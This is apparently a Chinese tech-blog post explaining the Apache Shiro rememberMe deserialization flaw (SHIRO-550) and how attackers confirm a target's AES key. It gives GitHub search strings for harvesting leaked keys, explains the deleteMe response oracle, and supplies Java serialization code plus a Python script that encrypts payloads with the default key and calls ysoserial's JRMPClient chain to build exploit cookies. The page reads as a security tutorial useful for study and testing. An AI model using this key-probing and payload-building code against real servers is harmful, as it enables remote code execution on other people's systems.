shiro漏洞原理以及检测key值原理

一、shiro漏洞原理

  • Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

  • 升级shiro版本并不能根本解决反序列化漏洞,代码复用会直接导致项目密钥泄漏,从而造成反序列化漏洞。针对公开的密钥集合,我们可以在github上搜索到并加以利用。(搜索关键词:"securityManager.setRememberMeManager(rememberMeManager); Base64.decode(“或"setCipherKey(Base64.decode(”)

二、检测shiro反序列化漏洞的key值的方法

我们如何获知选择的密钥是否与目标匹配呢?有一种思路是:当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段。

那么具体的检测方法一般包括如下几种:

  • 第一种是利用URLDNS进行检测https://github.com/LuckyC4t/shiro-urldns/blob/master/src/main/java/luckycat/shirourldns/URLDNS.java

  • 第二种利用命令执行进行检测  通过执行ping命令来检测。

  • 第三种使用SimplePrincipalCollection序列化后进行检测(XCheck,即Xray Check)通过使用SimplePrincipalCollection序列化来进行检测,key正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe

1.密钥不正确

  • Key不正确,解密时org.apache.shiro.crypto.JcaCipherService#crypt抛出异常

  • 进而走进org.apache.shiro.web.servlet.impleCookie#removeFrom方法,在返回包中添加了rememberMe=deleteMe字段

  • 于是获得的返回包包含了Set-Cookie:rememberMe=deleteMe字段。

2.类型转换异常

  • org.apache.shiro.mgt.AbstractRememberMeManager#deserialize进行数据反序列化,返回结果前有对反序列化结果对象做PrincipalCollection的强制类型转换。

  • 可以看到类型转换报错,因为我们的反序列化结果对象与PrincipalCollection并没有继承关系

  • 反序列化异常后同样捕捉到异常,填到报错异常中。

  • 紧接着也跳到了removeFrom中,添加响应头。

  • 然后看响应头也同样添加了rememberMe=deleteMe

3.检测方法(XCheck,即Xray Check)

如上分析,我么只需要构造一个类型继承了PrincipalCollection的类,这样在反序列化是转换为PrincipalCollection时就不会报错。通过实现关系查看,SimplePrincipalCollection和SimplePrincipalMap均符合要求。

  • 那么构造这两个对象对象中的其中一个进行序列化。

import org.apache.shiro.subject.SimplePrincipalCollection;

import org.apache.shiro.subject.SimplePrincipalMap;

import java.io.FileOutputStream;

import java.io.ObjectOutputStream;



public class SimplePrincipalCollectionTest {

    public static void main(String[] args) throws Exception {

        SimplePrincipalMap simplePrincipalMap = new SimplePrincipalMap();

//        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));

        oos.writeObject(simplePrincipalMap);

        oos.close();

    }

}
  • 将序列化号的文件用写好的脚本进行AES加密并且编码。

import sys

import base64

import uuid

from random import Random

import subprocess

from Crypto.Cipher import AES



def get_file_data(filename):

    with open(filename,'rb') as f:

        data = f.read()

    return data



def aes_enc(data):

    BS = AES.block_size

    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    key  =  "kPH+bIxk5D2deZiIxcaaaA=="

    mode =  AES.MODE_CBC

    iv   =  uuid.uuid4().bytes

    encryptor = AES.new(base64.b64decode(key), mode, iv)

    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))

    return ciphertext



def encode_rememberme(command):

    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

    BS   = AES.block_size

    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    key  =  "kPH+bIxk5D2deZiIxcaaaA=="

    mode =  AES.MODE_CBC

    iv   =  uuid.uuid4().bytes

    encryptor = AES.new(base64.b64decode(key), mode, iv)

    file_body = pad(popen.stdout.read())

    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

    return base64_ciphertext



if __name__ == '__main__':

    # test.bin为编译好的序列化链的内容

    data = get_file_data("test.bin")

    print(aes_enc(data))

  • 将编码好的payload通过rememberMe字段发送,如果密钥是正确的,则相应包中就不会存在rememberMe=deleteMe的响应头。

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值